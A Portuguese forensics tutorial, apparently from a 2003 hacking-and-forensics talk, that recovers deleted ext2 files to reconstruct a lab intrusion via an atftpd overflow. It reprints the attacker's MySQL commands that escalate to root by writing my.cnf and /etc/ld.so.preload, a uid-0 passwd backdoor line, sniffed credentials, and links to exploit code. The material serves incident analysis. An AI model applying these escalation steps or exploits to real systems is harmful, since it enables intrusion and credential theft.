```

Forensics

Agora nosso objetivo é desvendar o ataque. Uma análise forense na vida real pode demorar horas, dias e até meses.

Utilizaremos algumas técnicas básicas de análise forenses para tentarmos descobrir:

* Qual ataque foi utilizado.
* Quem realizou o atacou.
* Qual horário foi efetuado o ataque.
* O que mais o atacante fez.

Nos optamos por utilizar as seguintes ferramentas em nossa análise forense:

* debugfs
* The Coroner's Toolkit (TCT).

O debugfs é distribuído junto com o pacote e2fsprogs, e pode ser encontrado em http://sourceforge.net/projects/e2fsprogs.

O TCT pode ser encontrado em http://www.porcupine.org/forensics/tct.html.

Todo processo de forensics[9] poderia ser realizado utilizando apenas o TCT ou debugfs. ;)

Nossa análise é focada na plataforma Linux, utilizando o sistema de arquivos ext2.

Antes de começarmos qualquer análise forense precisamos seguir algumas regras.

* Isole a máquina que sofreu o ataque (remova da rede, coloque em um local seguro, etc).

* Não modifique nada na estrutura de arquivos da máquina atacada. Se possível monte o HD da máquina atacada em uma outra máquina, que deve estar fora da rede, e o HD deve ser montado em modo somente leitura (Read-Only) .

* Utilize algum lugar seguro (lápis e papel) para anotar os dados importantes que você conseguiu recuperar.

* Mantenha a calma.

Recuperação de logs

Geralmente após sofrermos um ataque, montaremos o HD em modo somente leitura (Read-Only).

```
root@FrontTheScene:~# mount -o ro /dev/hdd3 /w/hdd3/

root@FrontTheScene:~# ls -la /w/hdd3/

total 158
drwxr-xr-x   24 root     root          463 Aug 13 20:10 .
drwxr-xr-x    7 root     root         4096 Aug 13 20:07 ..
drwxr-xr-x    2 root     root         1763 Feb 20  2002 bin
drwxr-xr-x    3 root     root          479 Nov  4  2002 boot
drwxr-xr-x   10 root     root       135744 Nov  4  2002 dev
drwxr-xr-x   48 root     root         3941 Nov  4  2002 etc
drwxr-xr-x   26 root     root          576 Nov  1  2002 home
drwxr-xr-x    4 root     root         4509 Jul  8  2002 lib
drwxr-xr-x    2 root     root           35 Oct  2  2000 misc
drwxr-xr-x    6 root     root          117 Feb 21  2002 mnt
drwxr-xr-x    2 root     root          116 Sep  1 17:02 papers
drwxr-xr-x    2 root     root           35 Oct  2  2000 net
drwxr-xr-x    2 root     root           35 Aug 23  1999 opt
drwxr-xr-x    2 root     root           35 Feb 20  2002 proc
drwx------   23 root     root         1161 Oct 31  2002 root
drwxr-xr-x    3 root     root         3682 May  3  2002 sbin
drwxr-xr-x    4 529      235            75 Feb 20  2002 squid
drwxrwxrwt    4 root     root          231 Nov  4  2002 tmp
drwxr-xr-x   15 root     root          318 Feb 20  2002 usr
drwxr-xr-x   20 root     root          421 Jul  3  2002 var
```

O próximo passo é analisar os logs do Linux.

```
root@FrontTheScene:~# cd /w/hdd3/var/log/
root@FrontTheScene:~# ls -la
total 996
drwxr-xr-x    2 root     root         4096 Sep  1 17:28 .
drwxr-xr-x   13 root     root         4096 Aug  5 19:02 ..
-rw-r--r--    1 root     root         5423 Sep  1 13:00 dmesg
-rw-r-----    1 root     adm             0 Aug 17 06:47 lpr.log
-rw-r-----    1 root     adm            43 Aug  6 13:47 lpr.log.0
-rw-r-----    1 root     adm             0 Aug 17 06:47 mail.err
-rw-r-----    1 root     adm          5078 Aug  6 11:38 mail.err.0
-rw-r-----    1 root     adm             0 Aug 17 06:47 mail.info
-rw-r-----    1 root     adm          5078 Aug  6 11:38 mail.info.0
```

```
-rw-r-----    1 root     adm             0 Aug 17 06:47 mail.log
-rw-r-----    1 root     adm          5078 Aug  6 11:38 mail.log.0
-rw-r-----    1 root     adm             0 Aug 17 06:47 mail.warn
-rw-r-----    1 root     adm          5078 Aug  6 11:38 mail.warn.0
-rw-r-----    1 root     adm           343 Sep  1 06:25 setuid.changes
-rw-r-----    1 root     adm           343 Aug 31 06:25 setuid.changes.0
-rw-r-----    1 root     adm           464 Aug 30 06:25 setuid.changes.1.gz
-rw-r-----    1 root     adm           216 Aug 29 06:25 setuid.changes.2.gz
-rw-r-----    1 root     adm           302 Aug 28 06:25 setuid.changes.3.gz
-rw-r-----    1 root     adm           260 Aug 27 06:25 setuid.changes.4.gz
-rw-r-----    1 root     adm           272 Aug 26 06:25 setuid.changes.5.gz
-rw-r-----    1 root     adm           217 Aug 25 06:25 setuid.changes.6.gz
-rw-r-----    1 root     adm        462749 Sep  1 06:25 setuid.today
-rw-r-----    1 root     adm        462749 Aug 31 06:25 setuid.yesterday
-rw-r--r--    1 root     root            0 Aug  6 09:19 user.log
-rw-r--r--    1 root     root            0 Aug  6 09:19 uucp.log
```

Podemos notar que arquivos muito importantes (messages, daemon, debug, etc) para a análise forense não estão presentes (foram apagados pelo atacante).

Sabemos que o ataque aconteceu entre o dia 1 e 2 de Setembro de 2003, a máquina estava configurada com fuso horário GMT-03:00.

No sistema de arquivos ext2 os arquivos não são totalmente apagados quando nos excluímos um arquivo com "rm", para ter um desempenho maior e a resposta ao usuário ser mais rápida o campo link count é setado para zero e o campo deleted time é setado para hora que o arquivo foi apagado. Então ainda podemos acessar o conteúdo dos blocos cuja as inodes tem o campo link count igual a zero e o campo deleted time setado (no caso com o valor da hora que o mesmo foi deletado). Para realizar essa tarefa na prática utilizaremos o debugfs.

```
root@FrontTheScene:~# debugfs /dev/hdd3
debugfs 1.27 (8-Mar-2002)
```

Para entendermos melhor o funcionamento vamos ver os valores do campo de um arquivo (não deletado).

```
Inode: 20   Type: regular    Mode:  0644   Flags: 0x0   Generation: 881537262
User:     0   Group:     0   Size: 2973
File ACL: 0    Directory ACL: 0
Links: 1   Blockcount: 8
Fragment:  Address: 0    Number: 0    Size: 0
ctime: 0x3f302c14 -- Tue Aug  5 19:13:40 2003
atime: 0x3f30c9ad -- Wed Aug  6 06:26:05 2003
mtime: 0x3cbecb73 -- Thu Apr 18 10:34:43 2002
BLOCKS:
(0):1071
TOTAL: 1
```

Podemos ver que o inode tem o Link count (Links) setado com o valor 1 e o campo deleted time não existe, com isso deduzimos que o arquivo não está deletado. Como podemos ver a inode traz várias informações sobre o arquivo como owner (dono, por exemplo 0 é o root), type (tipo, se é arquivo um arquivo regular, se é um diretório), mode (permissão), etc.

Agora observe um arquivo deletado.

```
Inode: 208720   Type: regular    Mode:  0644   Flags: 0x0   Generation:
       88154011
7
User:     0   Group:     0   Size: 6093
File ACL: 0    Directory ACL: 0
Links: 0   Blockcount: 16
Fragment:  Address: 0    Number: 0    Size: 0
ctime: 0x3f30e1cd -- Wed Aug  6 08:09:01 2003
atime: 0x3f302c26 -- Tue Aug  5 19:13:58 2003
mtime: 0x3ccbc7b9 -- Sun Apr 28 06:58:17 2002
dtime: 0x3f30e1cd -- Wed Aug  6 08:09:01 2003
BLOCKS:
(0-1):429581-429582
TOTAL: 2
```

Podemos ver que o Link count (Links) está setado como zero e o deleted time (dtime) que não existia no exemplo acima, passou a existir, afinal esse arquivo está deletado. Podemos ver que ele foi deletado em 06 de Agosto de 2003 as 08:09:01.

Agora que o básico já foi explicado, vamos gerar um arquivo que contenha o numero dos inodes deletados.

```
root@FrontTheScene:~/recover# debugfs -R lsdel /dev/hdd3 > arquivos-
apagados.txt

debugfs 1.27 (8-Mar-2002)
```

Agora vamos ver o conteúdo do arquivos-apagados.txt.

```
root@FrontTheScene:~/recover# cat arquivos-apagados.txt |more
 Inode  Owner  Mode    Size    Blocks   Time deleted
208584      0 100644   2295    1/   1 Wed Aug  6 08:09:01 2003
208585      0 100644   7995    2/   2 Wed Aug  6 08:09:01 2003
208586      0 100644   4063    1/   1 Wed Aug  6 08:09:01 2003
208587      0 100644   7166    2/   2 Wed Aug  6 08:09:01 2003
208589      0 100644   6436    1/   2 Wed Aug  6 08:09:01 2003
208592      0 100644     68    1/   1 Wed Aug  6 08:09:01 2003
208593      0 100644    659    1/   1 Wed Aug  6 08:09:01 2003
208594      0 100644   6430    1/   2 Wed Aug  6 08:09:01 2003
208595      0 100644   1029    1/   1 Wed Aug  6 08:09:01 2003
208596      0 100644   1506    1/   1 Wed Aug  6 08:09:01 2003
208597      0 100644   6298    1/   2 Wed Aug  6 08:09:01 2003
208599      0 100644   2318    1/   1 Wed Aug  6 08:09:01 2003
208600      0 100644    593    1/   1 Wed Aug  6 08:09:01 2003
208601      0 100644  11960    3/   3 Wed Aug  6 08:09:01 2003
208602      0 100644   3819    1/   1 Wed Aug  6 08:09:01 2003
208603      0 100644    944    1/   1 Wed Aug  6 08:09:01 2003
208629      0 100644  27181    2/   7 Wed Aug  6 08:09:01 2003
muitas linhas....
muitas linhas...
```

Podemos ver que o arquivo está organizado da seguinte forma:

1 coluna tem o numero da inode.
2 coluna tem o dono.
3 coluna a permissão do arquivo.
4 coluna o tamanho do arquivo.
5 coluna quantos blocos o arquivo utiliza.
6 coluna quando o mesmo foi deletado.

Agora vamos utilizar os comandos da shell para ler cada numero de inodes e extrair o conteúdo dos blocos para o nosso diretório recover. Cada arquivo será nomeado arquivo-numero-da-inode.

```
root@FrontTheScene:~/recover# cat arquivos-apagados.txt | while read a b; do
debugfs /dev/hdd3 -R "dump -p <$a> /root/recover/arquivo$a" ;
done
```

```
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
debugfs 1.27 (8-Mar-2002)
Muitas linhas....
Muitas linhas...
```

Agora se dermos um ls, veremos que para cada inode foi criado um arquivo chamado arquivo-numero-da-inode, onde estão armazenados os dados dos seus respectivos blocos.

```
root@FrontTheScene:~/recover# ls
arquivo128944  arquivo208679  arquivo208729  arquivo80657
arquivo128945  arquivo208680  arquivo208730  arquivo80658
arquivo198     arquivo208681  arquivo208731  arquivo80659
arquivo208584  arquivo208682  arquivo208732  arquivo80660
arquivo208585  arquivo208683  arquivo208733  arquivo80661
arquivo208586  arquivo208684  arquivo208734  arquivo80662
arquivo208587  arquivo208685  arquivo208735  arquivo80663
arquivo208589  arquivo208686  arquivo208736  arquivo80664
arquivo208592  arquivo208687  arquivo208737  arquivo80665
arquivo208593  arquivo208688  arquivo208738  arquivo80666
arquivo208594  arquivo208689  arquivo208739  arquivo80667
arquivo208595  arquivo208690  arquivo208740  arquivo80668
arquivo208596  arquivo208691  arquivo208741  arquivo80669
arquivo208597  arquivo208692  arquivo208742  arquivo80670
arquivo208599  arquivo208693  arquivo208743  arquivo80671
arquivo208600  arquivo208694  arquivo208744  arquivo80672
arquivo208601  arquivo208695  arquivo208745  arquivo80673
arquivo208602  arquivo208696  arquivo208746  arquivo80674
arquivo208603  arquivo208697  arquivo208747  arquivo80675
arquivo208629  arquivo208698  arquivo208748  arquivo80676
arquivo208630  arquivo208699  arquivo208749  arquivo80677
arquivo208631  arquivo208700  arquivo208750  arquivo80678
arquivo208632  arquivo208701  arquivo208751  arquivo80679
arquivo208633  arquivo208702  arquivo208752  arquivo80680
arquivo208634  arquivo208703  arquivo208753  arquivo80681
arquivo208654  arquivo208704  arquivo208754  arquivo80682
```

```
arquivo208655  arquivo208705  arquivo208755  arquivo80683
arquivo208656  arquivo208706  arquivo208758  arquivo80684
arquivo208657  arquivo208707  arquivo208759  arquivo80685
arquivo208658  arquivo208708  arquivo208818  arquivo80686
arquivo208659  arquivo208709  arquivo208944  arquivo80687
arquivo208660  arquivo208710  arquivo80638   arquivo80688
arquivo208661  arquivo208711  arquivo80639   arquivo80689
arquivo208662  arquivo208712  arquivo80640   arquivo80690
arquivo208663  arquivo208713  arquivo80641   arquivo80691
arquivo208664  arquivo208714  arquivo80642   arquivo80692
arquivo208665  arquivo208715  arquivo80643   arquivo80693
arquivo208666  arquivo208716  arquivo80644   arquivo80694
arquivo208667  arquivo208717  arquivo80645   arquivo80695
arquivo208668  arquivo208718  arquivo80646   arquivo80696
arquivo208669  arquivo208719  arquivo80647   arquivo80697
arquivo208670  arquivo208720  arquivo80648   arquivo80698
arquivo208671  arquivo208721  arquivo80649   arquivo81268
arquivo208672  arquivo208722  arquivo80650   arquivo81281
arquivo208673  arquivo208723  arquivo80651   arquivo81282
arquivo208674  arquivo208724  arquivo80652   arquivo81283
arquivo208675  arquivo208725  arquivo80653   arquivo81284
arquivo208676  arquivo208726  arquivo80654   arquivo81285
arquivo208677  arquivo208727  arquivo80655   arquivo82043
arquivo208678  arquivo208728  arquivo80656   arquivos-apagados.txt
```

Podemos utilizar o comando file para descobrir qual formato de cada arquivo, se o mesmo é um arquivo de musica MP3, texto ASCII, programa C, etc.

Dessa forma podemos descartar alguns arquivos que certamente não tiveram influência no ataque.

```
root@FrontTheScene:~/recover# ls |while read a b; do file $a; done

arquivo198: gzip compressed data, deflated, original filename, `man12934',
last modified: Fri Mar 29 16:37:58 2002, max compression, os: Unix
arquivo208584: ASCII text
arquivo208585: ASCII C program text
arquivo208586: data
arquivo208587: ASCII C program text
arquivo208589: ASCII C program text, with very long lines
arquivo208592: ASCII text
arquivo208593: ASCII text
arquivo208594: ASCII English text
arquivo208595: ASCII C program text
arquivo208596: ASCII C program text
arquivo208597: ASCII C program text
```

```
arquivo208599: ASCII C program text
arquivo208600: ASCII C program text
arquivo208601: data
arquivo208602: ASCII C program text
arquivo208603: ASCII text
arquivo208629: data
arquivo208630: ASCII C program text
arquivo208631: data
arquivo208632: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV),
not stripped
arquivo208633: data
arquivo208634: data
arquivo208654: DBase 3 data file (12092708 records)
Muitas linhas....
Muitas linhas...
```

Com os arquivos recuperados, nos podemos analisar os mesmos e procurar por indícios de ataque.

Análise de logs

Os arquivos já foram recuperados, agora nos executaremos um trabalho que pode demandar um grande tempo, esse trabalho é analisar os arquivos.

Analisando o conteúdo do arquivo80680 encontramos a seguinte linha:

```
[**] [1:521:2] Atftpd 0.6 Buffer Overflow [**]
[Classification: Executable code was detected] [Priority: 1]
09/01-11:31:39.281535 192.168.151.2:1100 -> 192.168.151.3:69
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:540 DF
Len: 520
```

Podemos identificar com certeza que a linha acima fazia parte dos logs da IDS[16] snort. Esse trecho do log nos mostra que:

* Houve uma tentativa de ataque no serviço atftpd (porta 69/UDP)
* O ataque partiu da máquina 192.168.151.2 (ClubeDosMercenários)
* O ataque ocorreu no dia 1 de Setembro as 11:31:39

Com os dados acima nos constatamos que houve uma tentativa de Buffer-Overflow[5], mas não sabemos se ela foi bem sucedida ou não. Afinal nos logs existem inúmeras entradas de investidas contra o servidor da SkyNet.

Procurando por mais provas nos arquivos recuperados encontramos a seguinte linha:

```
Sep  1 11:31:39 SkyNet in.tftpd[5453]: connect from 192.168.151.3
Sep  1 11:31:39 SkyNet tftpd[5453]: Trivial FTP server started (0.6)
Sep  1 11:31:39 SkyNet tftpd[5453]:   started by inetd
Sep  1 11:31:39 SkyNet tftpd[5453]:   logging level: 7
Sep  1 11:31:39 SkyNet tftpd[5453]:   directory: /tftpboot/
Sep  1 11:31:39 SkyNet tftpd[5453]:   user: nobody.nogroup
Sep  1 11:31:39 SkyNet tftpd[5453]:   log file: syslog
Sep  1 11:31:39 SkyNet tftpd[5453]:   server timeout: 300
Sep  1 11:31:39 SkyNet tftpd[5453]:   tftp retry timeout: 30
Sep  1 11:31:39 SkyNet tftpd[5453]:   maximum number of thread: 25
Sep  1 11:31:39 SkyNet tftpd[5453]:   option timeout:   enabled
Sep  1 11:31:39 SkyNet tftpd[5453]:   option tzise:     enabled
Sep  1 11:31:39 SkyNet tftpd[5453]:   option blksize:   enabled
Sep  1 11:31:39 SkyNet tftpd[5453]:   option multicast: enabled
Sep  1 11:31:39 SkyNet tftpd[5453]:      address range: 239.255.0.0-255
Sep  1 11:31:39 SkyNet tftpd[5453]:      port range:    1753
Sep  1 11:31:39 SkyNet tftpd[5455]: Serving
       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sep  1 11:31:39 SkyNet tftpd[5455]: reveived RRQ <filename: mode: octet, >
Sep  1 11:31:39 SkyNet tftpd[5455]: File
       /tftpboot/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sep  1 11:31:39 SkyNet tftpd[5455]: sent ERROR <code: 1, msg: File not found>
Sep  1 11:31:39 SkyNet inetd[194]: /usr/sbin/tcpd: exit signal 0xb
```

Como o próprio trecho do log nos indica o mesmo faz parte do syslog. Podemos notar que:

* Houve uma conexão de 192.168.151.3 (mesmo IP logado no snort) no Aftpftd.

* As 11:31:39 (mesmo horário do ataque ao Atftpd registrado no snort).

* Uma requisição de um arquivo muito grande (AAAAAAAAAA...) que com certeza foi a investida de buffer overflow[5].

* Em seguida podemos observar que o atftpd recebe o signal 0xb e o programa sai (exit), o que indica que o buffer-overflow[5] foi bem sucedido. Se transformarmos 0xb para decimal teremos 11, sabemos que o signal 11 é o SIGSEGV. O SIGSEGV significa que o seu programa fez referência a uma área inválida da memória.

* O atftpd estava rodando como nobody, que indica que o atacante ainda teve que elevar seus privilégios para poder apagar os logs.

Já descobrimos quem fez o ataque e que horas o mesmo aconteceu, no nosso caso o fuso horário não é importante pois nossas máquinas (utilizadas na apresentação) estão em rede local.

Agora seria interessante tentarmos descobrir como o atacante conseguiu elevar seus privilégios de nobody para root.

analisando o arquivo80669 encontrei as seguintes linhas:

```
[mysqld]
user=root
datadir=/var/lib/mysql
```

Essa mesma inode tem o deleted time setado com a data do dia 2 de setembro, e não houve modificação de configuração do MySql nesse dia, o que é um forte indicio que o mesmo tenha relação com o ataque.

Vamos copiar o banco de dados (os arquivos do $datadir) para nossa máquina e analisarmos os mesmos.

1 - Movemos nossa base de dados para uma pasta temporária, depois copiamos a base de dados atacada para a nossa máquina.

```
root@FrontTheScene:/var/lib/mysql# mv * /root/tmp
root@FrontTheScene:/var/lib/mysql# cp /w/hdd3/var/lib/mysql/* .
```

2 - Paramos e inicializamos o MySql.

```
root@FrontTheScene:/var/lib/mysql# /etc/init.d/mysql stop
Stopping MySQL database server: mysqld.
root@FrontTheScene:/var/lib/mysql# /etc/init.d/mysql start
Starting MySQL database server: mysqld.
```

3 - Logamos no MySql.

```
root@FrontTheScene:/var/lib/mysql# mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 3.23.49-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>
```

4 - Procuramos por alterações no mesmo.

```
mysql> show databases;
+----------+
| Database |
+----------+
| mysql    |
| test     |
| TFTP_log |
+----------+
2 rows in set (0.00 sec)
```

As databases continuam as mesmas. Vamos olhar o conteúdo da database mysql.

```
mysql> use mysql;
Database changed
mysql> show tables;
+-----------------+
| Tables_in_mysql |
+-----------------+
| columns_priv    |
| db              |
| func            |
| host            |
| tables_priv     |
| user            |
+-----------------+
6 rows in set (0.00 sec)
```

As tabelas não foram modificadas, vamos ver se o atacante criou um novo usuário no MySql.

```
mysql> select user, host, Password from user;
+------------------+-----------+-------------------+
| user             | host      | Password          |
+------------------+-----------+-------------------+
| root             | localhost |                   |
| root             | SkyNet    |                   |
|                  | localhost |                   |
|                  | SkyNet    |                   |
| debian-sys-maint | localhost | 6a1338d9ba487641 |
+------------------+-----------+-------------------+
5 rows in set (0.00 sec)
```

Nenhum usuário foi criado. Só não temos certeza se o atacante alterou a senha do usuário "debian-sys-maint".

Vamos olhar a database test.

```
mysql> use test;
Didn't find any fields in table 'temp'
Database changed
```

Parece que o nosso atacante utilizou o MySql no seu ataque, afinal não existia uma tabela chamada temp na database test.

```
mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| CDM            |
| temp           |
+----------------+
2 rows in set (0.00 sec)
```

O atacante criou duas tabelas. Primeiro vamos analisar a estrutura das tabelas criadas.

```
mysql> desc CDM;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| cnf   | blob | YES  |     | NULL    |       |
+-------+------+------+-----+---------+-------+
1 row in set (0.00 sec)
```

Podemos ver que o atacante criou a tabela CDM com apenas um campo chamado cnf, que pelo nome foi utilizado para guardar alguma configuração. Vamos ver o conteúdo da tabela CDM.

```
mysql> select * from CDM;
+------------------------+
| cnf                    |
+------------------------+
| [mysqld]               |
| user=root              |
| datadir=/var/lib/mysql |
+------------------------+
3 rows in set (0.01 sec)
```

O conteúdo do campo cnf na tabela CDM é exatamente o mesmo encontrado no arquivo80669. possivelmente o conteúdo dessa tabela foi redirecionado para o arquivo ou vise-versa. Vamos consultar o .mysql_history do usuário nobody para ter mais informações.

Encontramos algumas linhas interessantes.

1 - Seleciona a database test.

```
use test;
```

2 - Cria a tabela CDM e insere os dados no campo cnf.

```
create table CDM(my.cnf blob);
insert into CDM values ("[mysqld]");
insert into CDM values ("user=root");
insert into CDM values ("datadir=/var/lib/mysql");
```

3 - Redireciona o conteúdo da tabela CDM para o arquivo $datadir/my.cnf.

```
select * from CDM into outfile "/var/lib/mysql/my.cnf";
```

Sabemos que esse processo é uma falha conhecida que permite forçar o MySql a inicializar como root, podendo posteriormente redirecionar conteúdo de tabelas ou campos para arquivos como super usuário (root).

Vamos analisar mais um pedaço do .mysql_history do usuário nobody.

1 - Cria a tabela temp.

```
create table temp(hack varchar(25));
```

2 - Adiciona o valor /tmp/hacking_now.so (que provavelmente é um código malicioso que tem uma função com o mesmo nome de alguma função que algum arquivo suid-root utiliza, dessa forma podendo alterar sua execução e transformando o user nobody em root) para o campo hack na tabela temp.

```
insert into temp values("/tmp/hacking_now.so");
```

3 - Redireciona o conteúdo da tabela temp para o /etc/ld.so.preload.

```
select * from temp into outfile "/etc/ld.so.preload";
```

Desvendamos como o atacante conseguiu escalar privilégios e se tornar super usuário (root).

Análise de ações do atacante

Para finalizarmos a análise forense tentaremos descobrir o que o atacante fez como super usuário (root).

Voltando a analisar os arquivos recuperados, encontrei vários arquivos referenciando a biblioteca libpcap, que é utilizada para escrever sniffers.

Veja alguns trechos:

"LIBPCAP 0.7.2
Now maintained by "The Tcpdump Group"

"This directory contains source code for libpcap, a system-independent interface for user-level packet capture."

Procurando por mais indícios de um sniffer instalado, encontrei no arquivo208632 as seguintes linhas:

192.168.151.1:1640 -> 192.168.151.1:110 <---> USER j.fernandes

192.168.151.1:1640 -> 192.168.151.1:110 <---> PASS escolt3ir0

192.168.151.1:1627 -> 192.168.151.1:110 <---> USER Cad.Tampinha

192.168.151.1:1627 -> 192.168.151.1:110 <---> PASS SexoNaVan

192.168.151.1:3065 -> 192.168.151.1:110 <---> USER Andrei

192.168.151.1:3065 -> 192.168.151.1:110 <---> PASS BoaVista

192.168.151.1:3067 -> 192.168.151.1:110 <---> USER suporte

192.168.151.1:3067 -> 192.168.151.1:110 <---> PASS quebostaMeuIrmao

Esse trecho do arquivo comprova que um sniffer foi instalado e capturou vários usuários e senhas através de autenticação no Post Office Protocol Versão 3 (e-mail 110/tcp).

Vamos utilizar o The Coroner's Toolkit. Utilizaremos um utilitário do TCT chamado grave-robber que é responsável por capturar dados, esses dados são capturados através do recolhimento de informações das inodes para posteriormente ser utilizado pelo mactime (parte do TCT).

root@FrontTheScene:~# grave-robber -m /w/hdd3

Depois que o grave-robber foi executado e gerou sua base de dados nos utilizaremos o mactime para ver os arquivos que foram Modificados, Acessados ou Trocados após o dia 1 de Setembro.

```
root@FrontTheScene:~# mactime -p /w/hdd3/etc/passwd -g /w/hdd3/etc/group
/w/hdd3 /01/09/2003 > mactime.txt
```

Vamos analisar as informações geradas pelo mactime. No arquivo mactime.txt, algumas linhas interessantes foram encontradas.

Tendo em vista que não foram criados usuários na máquina da SkyNet entre os dias 1 e 2 de Setembro, as linhas abaixo são um tanto quanto suspeitas.

```
Sep 02 2003 11:32:08 25529 .a. -rwxr-xr-x root root /w/hdd3/usr/sbin/adduser

Sep 02 2003 11:32:59 1099  m.. -rw-r--r-- root root /w/hdd3/etc/passwd

Sep 02 2003 11:32:23 852   m.. -rw-r--r-- root root /w/hdd3/etc/shadow
```

O arquivo /w/hdd3/usr/sbin/adduser foi acessado (.a.) no mesmo minuto que o /w/hdd3/etc/passwd e o /w/hdd3/etc/shadow foram modificados (m..), isso indica que uma conta deve ter sido criada. Entretanto podemos notar que os segundos entre a modificação do /w/hdd3/etc/passwd e /w/hdd3/etc/shadow são bem diferentes, cerca de 36 segundos de diferença, isso indica outra modificação no /w/hdd3/etc/passwd.

Analisando o /w/hdd3/etc/passwd encontramos a seguinte linha:

```
cdm:x:0:0:,,,:/home/cdm:/bin/bash
```

O atacante adicionou uma conta de usuário chamada cdm com os privilégios do root (uid e gid igual a zero), entretanto isso não seria possível utilizando apenas o adduser, pois receberíamos uma mensagem similar a essa "adduser: The UID `0' already exists.". Isso nos mostra porque o /w/hdd3/etc/passwd foi alterado novamente cerca de 36 segundos depois, o atacante editou o arquivo /w/hdd3/etc/passwd e alterou manualmente o uid e gid do usuário cdm para zero.

Terminaremos nossa analise forense por aqui. Desfazer as alterações fica a seu critério. ;)

Mini Dicionário

hacker[1]: Pessoa com alto conhecimento técnico que invade redes para aperfeiçoar suas habilidades, buscando mais conhecimento, sempre mantendo a ética.

cracker[2]: Pessoa sem ética, com alto conhecimento técnico que invade redes visando lucro (beneficio próprio) ou prejudicar outras pessoas.

script kiddies[3]: Pessoa com baixo conhecimento técnico que se aproveita de exploits públicos (muitas vezes sem saber de seu funcionamento) para obter acesso em redes e ganhar fama.

exploit[4]: Programa para exploração de falhas de segurança que possibilita obtenção de acesso local (elevação de privilégios) ou remoto.

buffer overflow[5]: É a técnica de exceder o tamanho do buffer (espaço alocado para guardar dados) possibilitando sobrescrever o ret-adress (endereço de retorno) e apontando-o para um código malicioso (shellcode[6]).

shellcode[6]:Código escrito em baixo nível (asm), representado em hexadecimal, que permite fazer chamadas a system calls (chamadas de sistema, como: write, read, execve, etc)

backdoor[7]: Programa utilizado para ter acesso a uma máquina de forma oculta, geralmente utilizando uma porta "secreta".

rootkit[8]: Conjunto de programas e/ou scripts que mantém acesso ao sistema sem que o administrador de sistema perceba. Funções comuns em rootkits são: ocultar conexões, ocultar arquivos, ocultar processos, etc.

forensics[9]: Análise Forense é a técnica utilizada para identificar e rastrear as ações de um atacante. Por exemplo, identificar arquivos modificados, detectar e recuperar arquivos deletados, etc.

port-scan[10]:Técnica para descobrir quais as portas (serviços) estão rodando e seus estados (open , filtered , closed).

security-scan[11]: Programa utilizado para detectar vulnerabilidades em uma máquina.

OS-Fingerprint[12]:Técnica para descobrir qual sistema operacional está rodando em uma máquina remota.

Firewall[13]: Programa utilizado para criar controles de acesso em serviços, regras para protocolos, checagens de conteúdo, etc.

Sniffer[14]: Programa utilizado para capturar logins (nomes de usuários) e suas respectivas senhas, quando os mesmos trafegam pela rede.

Log-cleaners[15]: programa utilizado para remover as linhas dos arquivos de log referentes ao acesso do hacker[1].

IDS[16]: A tradução de IDS é Sistema de Detecção de Intrusos, obviamente ela tenta detectar ataques.

Links:

Hacking

http://www.frontthescene.com.br → Front The Scene (hacking group)

http://cdm.frontthescene.com.br → Clube dos Mercenários (hacking scene)

Advisories

http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0150

Ferramentas de Hacking

http://www.frontthescene.com.br/atftpdx-exploit.c

http://cdm.frontthescene.com.br/ferramentas/solitary-v0.7.tar.gz

Ferramentas Forensics

http://sourceforge.net/projects/e2fsprogs

http://www.porcupine.org/forensics/tct.html

Distribuições Linux

http://www.debian.org/

http://www.conectiva.com.br

Autores

Wendel Guglielmetti Henrique atualmente trabalha como Administrador de redes e Sistemas Operacionais na Hadrion (www.hadrion.com.br), e dedica seu tempo livre ao Hacking desde 1997. Membro ativo do Clube Dos Mercenários e Front The Scene.

Júnior Cirqueira atualmente trabalha como desenvolvedor de sistemas, por volta de 1999 adotou o Linux como sistema operacional. Membro ativo do Clube Dos Mercenários e Front The Scene.

Agradecimentos

Primeiramente gostaríamos de agradecer os leitores que tiveram a paciência de ler na integra a versão on-line da palestra Hacking & Forensics.

Gostaríamos de citar vários nomes aqui, mas para não sermos injustos com ninguém (esquecer algum nome), citaremos alguns "grupos" de pessoas muito importantes para o desenvolvimento desse texto, sendo:

Família, colegas de trabalho, amigos, Clube Dos Mercenários, Front The Scene, galera de Ribeirão Preto, Gyn, Fortaleza, São Paulo e Rio de Janeiro, Comunidade Linux, Free Software Fundation, brasileiros do underground da Engenharia Reversa e todos que acreditam e praticam o Hacking Ético.